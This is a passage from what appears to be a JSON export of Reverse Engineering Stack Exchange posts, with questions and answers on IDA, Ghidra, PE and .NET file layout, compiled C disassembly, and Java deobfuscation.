fopen_s(&amp;fp, &quot;input.txt&quot;, &quot;rb&quot;);\n    if (err == 0 &amp;&amp; fp != NULL)\n    {\n        fgets(buffer, BUFFERSIZE, fp);\n         for (int i = 0; i &lt; BUFFERSIZE; i++)\n        {\n            printf(&quot;%02x &quot;, buffer[i]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n}\n:\\&gt;cl /Zi /W4 /analyze /Od /EHsc /nologo fgets.cpp /link /release\nfgets.cpp\n\n:\\&gt;fgets.exe\n00 00 00 00 00 00 00 00 00 00 00 00 00 00 5a 5a\n41 41 41 41 41 41 41 41 41 41 41 41 41 0a 00 5a\n</code></pre>\n"
    },
    {
        "Id": "26949",
        "CreationDate": "2021-02-05T09:25:18.067",
        "Body": "<p><a href=\"https://i.stack.imgur.com/M3T0S.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/M3T0S.png\" alt=\"enter image description here\" /></a></p>\n<p>i try to reverse this code but cant figure it out what is this number mean or how to call it...</p>\n",
        "Title": "Is the code like this reverse able? (from Assembly - UnityScript)",
        "Tags": "|disassembly|assembly|decompilation|disassemblers|byte-code|",
        "Answer": "<p>You did not understand why your code is using an obfuscador, first you need to remove the obfuscador used by the developer to only then start the process of reconstructing the algorithm, use appropriate tools for this task like DIE (Detect It Easy), after discovering the name of the obfuscador look for a way to clear its torque, there are many ways for almost all obfuscadores.</p>\n"
    },
    {
        "Id": "26955",
        "CreationDate": "2021-02-05T11:16:31.063",
        "Body": "<p>I've de-compiled in IDA 7.0 (freeware version) such a simple c program (compiled in the Microsoft Visual Studio Community 2019):</p>\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;string.h &gt;\n\nchar* sayHello(char* resultStr, char* addedStr) {\n  strcat_s(resultStr, strlen(resultStr)+strlen(addedStr)+1, addedStr);\n  return resultStr;\n}\n\nint main() {\n  char str_in_1[100] = &quot;Hello&quot;; \n  char str_in_2[] = &quot; World!&quot;;\n\n  printf (&quot;%s&quot;, sayHello(str_in_1, str_in_2));\n}\n</code></pre>\n<p>Now i can't find the string <code>sayHello</code> (function name) either in the <em>Functions window</em> nor in the <em>IDA View-A</em>. How to find out w</p>\n",
        "Title": "Disassembling Hello World program in IDA",
        "Tags": "|ida|disassembly|windows|",
        "Answer": "<p>Default VS compilation options do not enable debugging information generation so all function names are removed from the final executable (they're not required for execution). You need to build with debug info on and ensure that the PDB file is available when you open the exe in IDA.</p>\n"
    },
    {
        "Id": "26956",
        "CreationDate": "2021-02-05T14:30:05.620",
        "Body": "<p>How to get machine code of a file(mainly executables) in C?\nI have written a C program to convert machine code to assembly. But how to get machine code of a file? How would I go about programming a c program to convert a file to machine code?</p>\n",
        "Title": "How to extract machine code from a file(especially executable) in C",
        "Tags": "|c|executable|exe|machine-code|",
        "Answer": "<p>its very hard to understand what you want</p>\n<blockquote>\n<p>How to get machine code of a file(mainly executables) in C?</p>\n</blockquote>\n<p>so you want a C program that loads an executable file (for example dos,windows,linux exucutable) and showing you the whole or parts of the image (that normaly contains machine code and data)?</p>\n<p>so there are several documented file formats that can contain machine code</p>\n<ul>\n<li>dos exe (legacy exe format: <a href=\"https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files\" rel=\"nofollow noreferrer\">https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files</a>)</li>\n<li>windows exe (pe format: <a href=\"https://en.wikipedia.org/wiki/Portable_Executable\" rel=\"nofollow noreferrer\">https://en.wikipedia.org/wiki/Portable_Executable</a>)</li>\n<li>linux (elf\nformat: <a href=\"https://de.wikipedia.org/wiki/Executable_and_Linking_Format\" rel=\"nofollow noreferrer\">https://de.wikipedia.org/wiki/Executable_and_Linking_Format</a>),</li>\n<li>dynamic libraries</li>\n<li>object files from several compilers in\nomf, coff format</li>\n<li>pure/properitary binary files with no documented\nlayout</li>\n</ul>\n<p>for example see IDAs supported files types: <a href=\"https://www.hex-rays.com/products/ida/file_formats/\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/file_formats/</a></p>\n<blockquote>\n<p>I have written a C program to convert machine code to assembly.</p>\n</blockquote>\n<p>so you've already got some sort of disassembler?</p>\n<blockquote>\n<p>But how to get machine code of a file?</p>\n</blockquote>\n<p>read the spec of your operating system file format and write a small loader/parser, there are serveral C,C++,go,python ... example on github/google...</p>\n<blockquote>\n<p>How would I go about programming a c program to convert a file to machine code?</p>\n</blockquote>\n<p>and now you revert you question completely - before - you ask how to load a file with machine-code and now you ask how to convert &quot;a file&quot; to machine-code</p>\n<p>what format is &quot;a file&quot; in your example - some sort of source-code or object file format?</p>\n<p>Normaly this is the way: C/C++/Assembler/whatever-Source --&gt; Compiler --&gt; Objectfiles --&gt; OS-related-Executable-Format[Machine-Code+Data]</p>\n<p>try to ask more precise - its easy to help you when its clear what your exact target is</p>\n"
    },
    {
        "Id": "26959",
        "CreationDate": "2021-02-05T16:16:18.183",
        "Body": "<p>When i load an <code>exe</code> in the <em>IDA</em> the assembled code always starts at <code>00401000</code> address. Does it mean that in <code>pe</code> files the code always starts at that specific address?</p>\n",
        "Title": "Pe file code starting address",
        "Tags": "|ida|windows|pe|executable|",
        "Answer": "<p>No it does not  all pe files do not start at the same  address 0x401000<br />\n<a href=\"https://devblogs.microsoft.com/oldnewthing/20141003-00/?p=43923\" rel=\"nofollow noreferrer\">historically 0x400000 is the ImageBaseAddress</a> Header is 0x1000 bytes<br />\nso .code section starts at 0x401000  for a normal exe</p>\n<p>since the Exe's module is the first to be loaded it normally gets its Preferred ImageBase Address</p>\n<p>but a relocation table is a part of exe in case there is a conflict and the imagebase needs to be shifted to another base</p>\n<p>you can control both aspects  using linker switches</p>\n<pre><code>C:\\&gt;link /? | grep -iE &quot;base|fixed&quot;\n      /BASE:{address[,size]|@filename,key}\n      /DYNAMICBASE[:NO]\n      /FIXED[:NO]\n</code></pre>\n<p>you can also lookup about rebasing in ida</p>\n"
    },
    {
        "Id": "26975",
        "CreationDate": "2021-02-07T16:04:16.483",
        "Body": "<p>While I'm trying to disassemble my own C code I am stuck in a problem of not understanding how this Switch statement is implemented in assembly code. Can anyone please help to figure it out? This the switch assembly. Couldn't understand why so many registers are being used plus at the last line it's written &quot;jmp dword ptr [eax<em>4+0A110E8h]&quot;. Is this eax</em>4 necessary for switch in assembly or did by the disassembler on its own?\n<img src=\"https://i.stack.imgur.com/wPw2Z.png\" alt=\"enter image description here\" /></p>\n<p>My C Code:</p>\n<pre><code>main() {\n  int a;\n  printf(&quot;Please enter a no between 1 and 5: &quot;);\n  scanf(&quot;%d&quot;, &amp; a);\n  switch (a) {\n  case 1:\n    printf(&quot;You chose One&quot;);\n    break;\n  case 2:\n    printf(&quot;You chose Two&quot;);\n    break;\n  case 3:\n    printf(&quot;You chose Three&quot;);\n    break;\n  case 4:\n    printf(&quot;You chose Four&quot;);\n    break;\n  case 5:\n    printf(&quot;You chose Five.&quot;);\n    break;\n  default:\n    printf(&quot;Invalid Choice. Enter a no between 1 and 5&quot;);\n    break;\n  }\n}\n</code></pre>\n",
        "Title": "Not able to understand the C-switch statement in disassembly",
        "Tags": "|disassembly|binary-analysis|c|static-analysis|disassemblers|",
        "Answer": "<p>This is compiled to simple jump-table. Firstly it subtracts 1 from the <code>a</code> variable, so now your switch-case is for values in range &lt;0;4&gt; inclusive (instead of &lt;1;5&gt;). Next it checks if <code>a</code> is &gt; 4, if so it jumps to the <code>default</code> label at <code>0A1109F</code>. Note that the <code>JA</code> instruction is for the unsigned values, so it will jump to the <code>default</code> label in case if your value of <code>a</code> is negative.</p>\n<p>Now the magic happens. It jumps to the address inside jump-table, the jump-table is 5 elements long (because there are 5 cases in your switch), and each element is 4 bytes long (because you compiled it for 32 bit architecture, and the sizeof pointer is 32 bits there, that's why it's eax*4). The jump-table starts at <code>0A110E8</code>.</p>\n<p>So if you dereference pointer at <code>0A110E8</code> you will get the address of &quot;You chose one&quot; block. Because for this case <code>eax=0</code>(it was decremented just moment ago), and <code>[eax*4+0A110E8] = [0A110E8]</code> now.</p>\n<p>If you type <code>2</code> to the stdin, then <code>eax=1</code>, so <code>[eax*4+0A110E8] = [1*4+0A110E8] = [0A110EC]</code>. Now you can dereference the pointer 0A110EC and you will get the address of the second switch block, the address where the <code>JMP</code> instruction will redirect program flow in this case. The same rule applies for all the blocks.</p>\n"
    },
    {
        "Id": "26997",
        "CreationDate": "2021-02-11T18:13:50.297",
        "Body": "<p>I would like to known where i can found guides to learn how to unpack packers like Themida, Armadillo, VMProtect, etc. I was searching challenges and guides but i could not found for packers, only other types of challenges. I have to learn how unpack that type of software, i'm new in this world of RE but i need to learn this. Thanks in advance.</p>\n",
        "Title": "Packers Material for learn how to unpack software",
        "Tags": "|packers|",
        "Answer": "<p>If you are just starting out learn Assembly and Study C, and don't try to learn how to &quot;unpack&quot; commercial protectors (They are commercial for a reason), even if you want to insist on the error easily you will find scripts to do all the work for you, but I ask you, will you learn something new or just say that you know how to unpack with someone else's scripts? focus on the base, I recommend that you read <strong><a href=\"https://beginners.re/main.html\" rel=\"nofollow noreferrer\">beginners RE</a></strong>, if you want an excellent book read <strong>Practical Reverse Engineering: X86, X64, ARM, Windows Kernel</strong>(<strong>ISBN: 9781118787250</strong>), these books will teach you the necessary basics, after finishing your reading you will be able to unpack simple protections, and with a focus you will learn the tricks of commercial protectors and how to get rid of them and differentiate code virtualization, good studies.</p>\n"
    },
    {
        "Id": "26999",
        "CreationDate": "2021-02-12T04:17:55.107",
        "Body": "<p>I have a program which creates a hard-coded number of objects. I patched the binary so that now it can attempt to create more objects than the limit allows, however when it does it allocates them to memory that wasn't supposed to be originally written to in the <code>.data</code> section. Here's an illustration:</p>\n<p><a href=\"https://i.stack.imgur.com/pFIlZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pFIlZ.png\" alt=\"enter image description here\" /></a></p>\n<p>I'm wondering what approach I should use tackle this. Right now, I used CFF Explorer to create a an exact copy of the <code>.data</code> section, called <code>.dataex</code>, which has double the size of <code>.data</code>, and put it at the end of the binary:</p>\n<p><a href=\"https://i.stack.imgur.com/Ke2El.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Ke2El.png\" alt=\"enter image description here\" /></a></p>\n<p>My initial thought was that there is possibly some way to &quot;shift&quot; the references down so that the program will use the ones in <code>.dataex</code>, and then do another &quot;shift&quot;, but this time only from <code>.dataex + n</code>. That way, there is more free space which the program can use to create new objects.</p>\n<p>I realise I may be missing/overlooking/misunderstanding many things here, so please let me know if what I want to do is even possible, or if there exists a simpler solution.</p>\n",
        "Title": "Expanding .data section at particular area",
        "Tags": "|ida|disassembly|pe|memory|segmentation|",
        "Answer": "<p>Sounds possible, the difficulty of achieving it I think would depend on:</p>\n<ul>\n<li>how the objects are allocated (inline access vs allocator)</li>\n<li>the type of references (direct addressing vs indirect)</li>\n<li>the amount of references that there are to the objects</li>\n</ul>\n<p>If it's just a small number of references and allocations then it might not matter which method you use - the easiest and fastest would be the best I guess.</p>\n<p>If that isn't the case then the next best might be where the allocation is through an allocation function and the references are all indirect. In that case there's no need to fix the references and you'd just need to patch the allocator - to use your custom memory.</p>\n<p>If the allocation is inline or the access is direct then fixing the allocations and references might be done with relative ease if they are done using references which are resolved during the loading of the program - i.e relocations (<a href=\"https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-54839.html\" rel=\"nofollow noreferrer\">https://docs.oracle.com/cd/E23824_01/html/819-0690/chapter6-54839.html</a>). You might then iterate over all the relocations in the relocations section and modifying the ones that refer to the objects structure in the <code>.data</code> section to point to your new <code>.dataex</code> section.</p>\n<p>You also might want to take a look at lief (<a href=\"https://lief.quarkslab.com/\" rel=\"nofollow noreferrer\">https://lief.quarkslab.com/</a>). I haven't found your specific use case - but it might help with the boilport in implementing your solution.</p>\n"
    },
    {
        "Id": "27003",
        "CreationDate": "2021-02-13T19:39:17.583",
        "Body": "<p><strong>I am surprised this question is not asked by anyone else yet.</strong></p>\n<p>Legally, which software -- aside from open source software -- am I able to explore to basically enhance my knowledge of how computer systems work? I would like to add that I am not interested in doing something professional or advanced more suitable to the employees of IT industry. I just want to make myself more intelligent and knowledgeable, possibly delaying dementia and preventing chronic diseases. That is, I am not interested in maintaining virtual machines to reverse engineer malware/illegal software. Thank you.</p>\n",
        "Title": "Reverse engineering and copyright?",
        "Tags": "|law|copy-protection|",
        "Answer": "<p>There are these binary that people make call crackmes. Usually made by the community for other people to learn without braking the law. Crackmes have different levels that sometimes is even harder to crack than softewares published by companies. I really like this website <a href=\"https://crackmes.one/\" rel=\"nofollow noreferrer\">https://crackmes.one/</a></p>\n<p>There is also CTF or capture the flag which are security competitions of different parts of security. Companies like goggle have one per year a believe.</p>\n<p>You can google about this two and you will get a lot of material</p>\n<p>Happy hacking</p>\n"
    },
    {
        "Id": "27004",
        "CreationDate": "2021-02-14T05:41:51.903",
        "Body": "<p>When i compile a c# code, it compiles into a .NET executable, that only imports _CorExeMain from mscoree.dll, now my questions are :</p>\n<ol>\n<li><p>Is _CorExeMain the interpreter that fetches ILs and executes their corresponding x86 code just like VMprotect, etc?</p>\n</li>\n<li><p>Where are the IL bytes actually stored? they seem to be stored in the .text section, but i couldn't find any tool that can find the location that they are stored. where are they stored?</p>\n</li>\n</ol>\n",
        "Title": "Where are the .NET IL bytes stored in an .NET executable?",
        "Tags": "|windows|.net|c#|",
        "Answer": "<p>For .NET assemblies there's a .NET MetaData Directory that can be found in the Data Directories. From that you can get access to <code>MetaData Header</code> and <code>MetaData Streams</code> that holds all the info for you to extract and located the code.</p>\n<p>A good start (or maybe even a complete guide) into this topic would be the &quot;<a href=\"https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-pe-headers/\" rel=\"nofollow noreferrer\">Anatomy of a .NET Assembly</a>&quot; by Simon Cooper.</p>\n<p>For the first question - yes, the <code>_CorExeMain</code> is the entry point that does all the tricks to make your assembly to execute. For the explanations of all the things that happen during that call check <a href=\"https://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/\" rel=\"nofollow noreferrer\">The 68 things the CLR does before executing a single line of your code</a></p>\n"
    },
    {
        "Id": "27005",
        "CreationDate": "2021-02-14T08:28:34.567",
        "Body": "<p>I'm referring to this question that was asked previously:\n<a href=\"https://reverseengineering.stackexchange.com/questions/26630/virtual-functions-call-asm/26634\">Virtual functions call asm</a></p>\n<p>I'm wondering how is it possible to know whether this ASM listing represents Virtual Functions calls? What's in the ASM mentioned in the question linked above that tells that this is Virtual Function call?</p>\n",
        "Title": "Why this ASM represents Virtual Function call?",
        "Tags": "|disassembly|c++|static-analysis|virtual-functions|",
        "Answer": "<p>There\u2019s no 100% sure way to distinguish a virtual call from a function pointer call but there are some strong hints.</p>\n<ol>\n<li><p>The virtual function table (vftable) is <em>usually</em> at the very start of the object so assuming the object\u2019s address is stored in <code>objectreg</code>, you should see something like</p>\n<pre><code>mov vftreg, [objectreg]\n</code></pre>\n</li>\n<li><p>The object address (the <em>this</em> pointer) is passed to the virtual method, commonly as the first argument or in a separate register, according to the ABI in use. In Microsoft x86 the <code>ecx</code> register is used for this purpose so the common pattern is:</p>\n<pre><code>mov ecx, objectreg\n</code></pre>\n</li>\n<li><p>The call is performed using a slot in the vftable. It can be done either directly using a displacement from the register holding the vftable:</p>\n<pre><code>call [vftreg+slotoff]\n</code></pre>\n</li>\n</ol>\n<p>Or via an intermediate register:</p>\n<pre><code>  mov callreg, [vftreg+slotoff]\n  call callreg\n</code></pre>\n<p><code>slotoff</code> should be a multiple of a pointer size and may be zero.</p>\n<p>In case the method has arguments, they will be loaded as well (usually the <em>this</em> argument is initialized last, just before the call).</p>\n<p>You may also find informative <a href=\"http://www.openrce.org/articles/full_view/23\" rel=\"nofollow noreferrer\">my old article</a> on the topic.</p>\n"
    },
    {
        "Id": "27019",
        "CreationDate": "2021-02-16T00:18:45.040",
        "Body": "<p>I know that the program I am decompiling uses openSSL.<br />\nI'd like to add the types from the <code>include</code> folder of the project to the data types.<br />\nTo do that, I use File =&gt; Parse C Source.<br />\nI then select the <code>include</code> folder from <a href=\"https://github.com/openssl/openssl\" rel=\"nofollow noreferrer\">the openSSL project</a></p>\n<p>For every parse configuration I get</p>\n<pre><code>Encountered &quot;&lt;EOF&gt;&quot; at line 0 column 0\nWas expecting one of:\n&quot;#line&quot;...\n&lt;LINEALT&gt;...\n&quot;;&quot;...\n</code></pre>\n<p>And if I try to import a subset of the .h files I get the following error because some types are not defined directly in the file.</p>\n<pre><code>C parser: Encountered errors during parsing\n</code></pre>\n<p>Is there a way to import all the types from the source of a project ?</p>\n",
        "Title": "Ghidra add data types from open source project",
        "Tags": "|ghidra|",
        "Answer": "<p>The C parser of Ghidra has various issues, e.g. it has a less extensive list of sane preprocessor variables and it just completely chokes on GCC attributes. I personally tried some approaches to make this work better, e.g. using the clang/gcc preprocessor to dump one giant header file, but they are still highly experimental and probably require a lot of tinkering, so I would overall just declare the C Parser as an nonviable approach for your problem.</p>\n<p>The best way that I have heard of so far is to compile the library with full debug symbols in the version and target you need, then import that into Ghidra. Ghidra should then parse all the PDB/DWARF type information, create all the relevant types and apply the function signatures. Then you can link the library file to the binary you want to analyze in the first place, and propagate that information to it. <s>I don't know a tutorial for that right now, but Ghidra has good support for such projects that involve multiple binaries. If you encounter any issues with that, those are most likely worth a separate dedicated question, because this is then the same process as propagating type information from a library that you had to reverse engineer too.</s></p>\n<p>Edit:\nI needed to do this recently and wrote it up as a <a href=\"https://reversing.technology/2021/06/16/ghidra_DWARF_gdt.html\" rel=\"nofollow noreferrer\">small blogpost</a>.</p>\n<p>The general approach is like I described, but the blogpost itself isn't in a format and as polished as I'd like a StackExchange answer to be, so I don't think that copying it here would be appropriate.</p>\n"
    },
    {
        "Id": "27028",
        "CreationDate": "2021-02-17T11:18:15.150",
        "Body": "<blockquote>\n<p>Motorola/Freescale MC680xx, CPU32 (68330), MC6301, MC6303, MC6800,\nMC6801, MC6803, MC6805, MC6808, HCS08, MC6809, MC6811, M68H12C,\nColdFire</p>\n</blockquote>\n<p>IDA claims to have the support for HCS08. But I can't see it in the list of the processors:\n<a href=\"https://i.stack.imgur.com/RCouO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/RCouO.png\" alt=\"enter image description here\" /></a></p>\n<p>Should I use 6808? Or maybe HCS12?</p>\n",
        "Title": "Which processor do I specify when I load HCS08 firmware to IDA?",
        "Tags": "|ida|firmware|",
        "Answer": "<p>I think it\u2019s under \u201cFreescale\u201d</p>\n"
    },
    {
        "Id": "27039",
        "CreationDate": "2021-02-18T04:39:24.063",
        "Body": "<p>I extracted pe file from another pe file and I saved it.</p>\n<p>I want it execute but when I saved file computer sees it like text file. Altough my actual file starting with &quot;4d 5a&quot; computer sees like text and converts it &quot;34 64&quot;.\nHow can I solve this problem?</p>\n<p><a href=\"https://i.stack.imgur.com/rRBLJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rRBLJ.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "how do i use the text like in pe files?",
        "Tags": "|pe|file-format|",
        "Answer": "<p>use python,powershell,xxd -r, javascript<br />\nanything that you can script read a group of 2 char and make it one byte;</p>\n<p>demo using binascii in python</p>\n<pre><code>:\\&gt;type asc2hex.py\nimport sys\nimport binascii\nif(len(sys.argv)==2):\n    inf = open(sys.argv[1],&quot;rb&quot;);\n    ouf = open(&quot;hex&quot;+sys.argv[1] , &quot;wb&quot;)\n    dat= inf.read()\n    inf.close()\n    ouf.write(binascii.unhexlify(dat))\n    ouf.close()\n:\\&gt;type foo.bin\n4d5a\n:\\&gt;asc2hex.py foo.bin\n\n:\\&gt;type hexfoo.bin\nMZ\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "27056",
        "CreationDate": "2021-02-20T14:51:16.560",
        "Body": "<p>my Problem is, i have bought a Huion Kamvas 22 Plus pen display for drawing and painting.</p>\n<p>On my old Wacom tablet i had some hardware buttons and could map functions/setting of the driver to these hardware buttons.</p>\n<p>The new Huion Monitor doesnt have any Hardware Buttons! Thats ok , i just use keyboard shortcuts anyways ...</p>\n<p><strong>But theres one problem,</strong></p>\n<p>the huion driver window has a function called &quot;switch screen&quot;. with that i can switch the mouse output from the Pen to another monitor (in a multi monitor setup). This cant be mapped to any keyboard shortcut though , just (eventual) hardware buttons which come with the huion displays. As i mentioned, my model(the Kamvas 22 plus) doesnt have any buttons though.</p>\n<p>Now i want to</p>\n<p>A)</p>\n<p>find the specific function/argument in a file called &quot;TabletDriverCore.exe&quot; or any of its loaded dlls</p>\n<p>and B)</p>\n<p>run this function(+ correct arguments) from the command line / autohotkey / whatever</p>\n<p>is that possible and how would i achieve that ?</p>\n",
        "Title": "FINDING & EXECUTING a function from an exe/dll (not compiled by me)?",
        "Tags": "|dll|exe|",
        "Answer": "<p>Yes this is absolutely possible.</p>\n<ul>\n<li>First, you need to attach a debugger to the executable file and play around with the functionality you are interested in (i.e use it multiple times while keeping an eye on the debugger, stack, interesting memory regions, etc... Usually the shortest path for finding a function is by looking for string/values references and tracing back from there) until you are able to find the starting address of the function in the EXE file (or one of the loaded modules).</li>\n<li>After finding the function, you need to check the parameters as well as their correct data types, that's a bit of static analysis where you try to analyze the stack and the type of arithmetic instructions (for instance <code>imul</code> vs <code>mul</code>).</li>\n<li>Now you've got both the function address and the correct parameters, from there you can code a DLL that gets injected into that executable on runtime, then hooks the target function and map it to whatever keyboard key(s) you want.</li>\n</ul>\n<p>This trick is used extensively in game hacks and trainers, especially trainers that use the printing functions of a game to print some custom values at runtime.</p>\n"
    },
    {
        "Id": "27057",
        "CreationDate": "2021-02-20T15:05:44.750",
        "Body": "<p>i have two apk files , when i decompile them using apktool i can take a look at decompile code , so here is what really confuse me , in the first apk if i searched the hole files for strings witch begin with &quot;https&quot; or &quot;http&quot; i can get all the api urls for that app , but the second apk doesn't work the same way it give me nothing just some google api urls witch belong to google that i dont need , so my question is , why my searching method work in the first apk but not in the second apk , maybe in the second app the urls string are encrypted ,but why the developer would do something like this seems pointless to me because even if the urls are encrypted i can capture them using Wireshark or others capturing tools (i don't want to use the capturing tools just decompiling tools if you could just help on that it would be great)</p>\n",
        "Title": "finding rest api urls after decompiling apk",
        "Tags": "|android|apk|api|https-protocol|",
        "Answer": "<p>They might be stored encoded/encrypted and decoded/decrypted in runtime, you can validate this if you can capture any API calls in runtime (Not sure if you tried this, but maybe give it a try, in that case you may deal with SSL Certificate Pinning).\nAnother possibility is that they might be split, I faced that case couple of times where only the base address of the APIs were stored at the resources string XML files, while the rest of the URIs are declared when used only. You may validate this by looking for some common substrings found in APIs like &quot;/api&quot;, &quot;/v&quot;, &quot;/send&quot;, &quot;/user&quot;, etc...</p>\n"
    },
    {
        "Id": "27085",
        "CreationDate": "2021-02-24T02:53:49.880",
        "Body": "<p>I recently downloaded a <code>jar</code> file and was curious to see if it was malicious, so I ran it through <code>FernFlower</code> and it wasn't able to deobfuscate it. When I unzipped the jar, I looked inside it and saw multiple folders, maybe 40~ ish consisting of a mixture of Chinese, Korean, and Arabic. This was raising a heavy red flag for me; so I tried multiple decompiliers consisting of things like JD-Gui, Bytecode viewer, and Krakatau. All seemed to decompile the normal folders fine, but not the mixed language ones.</p>\n<p>I think its safe to say that whoever made this jar, clearly didn't want me to check whats inside. I want to make sure it's not a malicious <code>jar</code> file (like I said earlier...)</p>\n<p>So how would I go around deobfuscating the jar file?</p>\n<p>Because the entire jar is <code>73MB (yikes)</code>, here is a <a href=\"http://www.mediafire.com/file/n7d38rcj6dmcuu3/encryptedFolder.zip/file\" rel=\"nofollow noreferrer\">zip</a> file of one of the language folders</p>\n",
        "Title": "How to decompile heavily obfuscated classes mixed with Arabic/Chinese/Korean characters?",
        "Tags": "|java|deobfuscation|jar|",
        "Answer": "<p>I gave it my shot at this question but the output is still very obfuscated code you will need to re-run it a few passes through some more deobfuscators the code has alot of goto's code and math, you can do it all by hand but it will take months!.</p>\n<p>It seems it contains classes to\n<code>com.mojang.brigadier.exceptions.CommandSyntaxException</code></p>\n<p>Which means this jar file is for Minecraft game.</p>\n<p>Since it's for minecraft I found this.\n<a href=\"https://github.com/PetoPetko/Minecraft-Deobfuscator3000\" rel=\"nofollow noreferrer\">https://github.com/PetoPetko/Minecraft-Deobfuscator3000</a></p>\n<p>I played around with Minecraft Deobfuscator 3000 it seems it renames all fields/methods/params based on 2 different minecraft versions 1.7.10 and 1.12</p>\n<p>You would need to get mappings for whichever version this encrypted java file used, both mappings versions failed for me.</p>\n<p><img src=\"https://i.imgur.com/MxjKxn2.png\" alt=\"minecraft\" /></p>\n<p>This may help you also it's a site with like 6 different online java decompilers.. you can try all 6.\n<a href=\"http://www.javadecompilers.com/\" rel=\"nofollow noreferrer\">http://www.javadecompilers.com/</a></p>\n<p>This tool also looks very promising on this project.\n<a href=\"https://javadeobfuscator.com/\" rel=\"nofollow noreferrer\">https://javadeobfuscator.com/</a>\n<br>\n(Takes about 3 hours with all transformations and does help with this project..)<br>\nUse Transformers:</p>\n<pre><code>allatori.FlowObfuscationTransformer\nspecial.FlowObfuscationTransformer\nnormalizer.SourceFileClassNormalizer\n</code></pre>\n<p>mess around with the <code>general.peephole</code> remove the Transformers that fail.. I removed 2 of em. <code>RedundantGotoRemover</code> and <code>PeepholeOptimizer</code> the PeepholeOptimizer does do alot of fixes but it crashes.. so maybe you can run it somehow at the very end.</p>\n<p>Try getting in contact with Janmm14 or samczsun he made the <a href=\"https://javadeobfuscator.com/\" rel=\"nofollow noreferrer\">https://javadeobfuscator.com/</a> and also works on Minecraft mods so he can help you 100% on this issue.</p>\n<p><a href=\"https://github.com/Janmm14\" rel=\"nofollow noreferrer\">https://github.com/Janmm14</a>\n<br>\n<a href=\"https://github.com/samczsun\" rel=\"nofollow noreferrer\">https://github.com/samczsun</a></p>\n<p>The Fernflower or CFR works on some files, Krakatau doesn't seem to work.</p>\n<p><strong>CFR gives the best results..</strong></p>\n<p>Output Decompiled Files: <a href=\"http://www.mediafire.com/file/fh74g6uovc4ji2i/encrypted+output.zip/file\" rel=\"nofollow noreferrer\">http://www.mediafire.com/file/fh74g6uovc4ji2i/encrypted+output.zip/file</a></p>\n<p>I used Procyon on your <code>encryptedFolder.zip</code> it managed to decompile all the files without a problem although some stuff bytecode isn't fully implemented in Procyon so some functions just got comments (no code).</p>\n<p>Here is a example of 1 of your files how the code looks like.</p>\n<p><a href=\"https://i.stack.imgur.com/JQlP5.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JQlP5.jpg\" alt=\"a\" /></a>\n<a href=\"https://i.stack.imgur.com/iVN4O.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/iVN4O.jpg\" alt=\"b\" /></a></p>\n<p>Procyon can generate java code for any java class which will compile without problems.. (wasn't the case for this example, won't compile). Since it is still obfuscated like crazy.</p>\n<p>People in the RuneScape hacking community mastered the skill of Java deobfuscating they can unprotect any java code, pretty sure you can find a product in the RuneScape Hacking Community which will do a perfect job.\nThe tools they use are Zelix KlassMaster, Kopi Java Compiler Suite, jode, and Procyon. That's pretty much all you need.</p>\n<p>You may find all you need from this github project\n<a href=\"https://github.com/Rune-Status/rscdump.com-runescape-classic-dump\" rel=\"nofollow noreferrer\">https://github.com/Rune-Status/rscdump.com-runescape-classic-dump</a></p>\n<p>it has a bunch of runescape java projects that were made in the community which has a bunch of deobfuscators.</p>\n<p>When runescape protection got more stronger each time, the community started building their own deobfuscators using java asm, which can outperform any java deobfuscator currently in the public.</p>\n<p>You can find some deobfuscators in the public from runescape community on github. I was a member of the runescape community for like 10 years and let me tell you those people are very talented when it comes to java and hacking. One of the users who worked in the Runescape hacking community went on and created a popular website called pastebin.com which shows how smart they are :)</p>\n<p><a href=\"https://github.com/search?q=runescape+deobfuscator\" rel=\"nofollow noreferrer\">https://github.com/search?q=runescape+deobfuscator</a></p>\n"
    },
    {
        "Id": "27089",
        "CreationDate": "2021-02-24T11:49:45.517",
        "Body": "<p>I figured it'd be more appropriate to ask this question here:</p>\n<p><a href=\"https://github.com/NationalSecurityAgency/ghidra/issues/2530#issuecomment-785007613\" rel=\"nofollow noreferrer\">https://github.com/NationalSecurityAgency/ghidra/issues/2530#issuecomment-785007613</a></p>\n<p>Given this linear address space a particular MCU:</p>\n<p><a href=\"https://i.stack.imgur.com/ok1wt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ok1wt.png\" alt=\"V850 mem space\" /></a></p>\n<p>It's not easily definable as-is on the memory manager, see:</p>\n<pre><code>memory = currentProgram.getMemory()\nfb = memory.getAllFileBytes()   \nblk = memory.getBlock(toAddr(0x0))\nmemory.removeBlock(blk, monitor)\n\nmemory.createUninitializedBlock(&quot;internal_ram&quot;,toAddr(0x3ff8000),0x2fff,False)\nmemory.createUninitializedBlock(&quot;peripherals&quot;, toAddr(0x3ffefff),0xfff, False)\nmemory.createInitializedBlock(&quot;rom&quot;, toAddr(0x0), fb[0], 0, 0x1000000, False)\ndisassemble(toAddr(0x0))\n</code></pre>\n<p>Yields:</p>\n<pre><code>Traceback (most recent call last):\n  File &quot;python&quot;, line 1, in &lt;module&gt;\n    at ghidra.program.database.mem.MemoryMapDB.checkBlock(MemoryMapDB.java:1043)\n    at ghidra.program.database.mem.MemoryMapDB.removeBlock(MemoryMapDB.java:1850)\n    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)\n    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)\n    at 